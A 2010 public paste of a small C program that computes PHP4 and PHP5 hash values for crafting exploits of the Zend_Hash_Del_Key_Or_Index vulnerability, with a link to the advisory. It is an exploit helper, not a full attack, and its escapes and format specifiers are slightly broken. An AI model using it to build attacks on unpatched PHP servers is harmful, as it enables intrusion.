Public paste
blabla
By: Rgod | Date: May 4 2010 18:45 | Format: None | Expires: never | Size: 855 B | Hits: 471

  1. #include <stdio.h>
  2.  
  3. #include <stdlib.h>
  4.  
  5. #include <string.h>
  6.  
  7.  
  8.  
  9. int main(int argc, char *argv[])
  10.  
  11. {
  12.  
  13. printf("calculates hashes for Zend_Hash_Del_Key_Or_Index Vulnerability exploits...n");
  14.  
  15. printf("see http://www.hardened-php.net/hphp/zend_hash_del_key_or_index_vulnerability.htmln");
  16.  
  17. if ( argc != 2 )
  18.  
  19.  
  20.  
  21.     printf("usage: zhdkoi <key>n");
  22.  
  23. else {
  24.  
  25. char *key = strcat(argv[1],"");
  26.  
  27. unsigned long h = 5381;
  28.  
  29. char *arEnd = key + strlen(key)+1;
  30.  
  31. while (key < arEnd) {
  32.  
  33.            h += (h << 5);
  34.  
  35.            h ^= (unsigned long) *key++;
  36.  
  37. }
  38.  
  39. printf("php4 Hash: %dn",h);  
  40.  
  41.  
  42.  
  43. key = strcat(argv[1],"");
  44.  
  45. h = 5381;
  46.  
  47. arEnd = key + strlen(key)+1;
  48.  
  49. while (key < arEnd) {
  50.  
  51.            h += (h << 5);
  52.  
  53.            h += (unsigned long) *key++;
  54.  
  55. }
  56.  
  57. printf("php5 Hash: %dn",h);
  58.  
  59.     }
  60.  
  61. }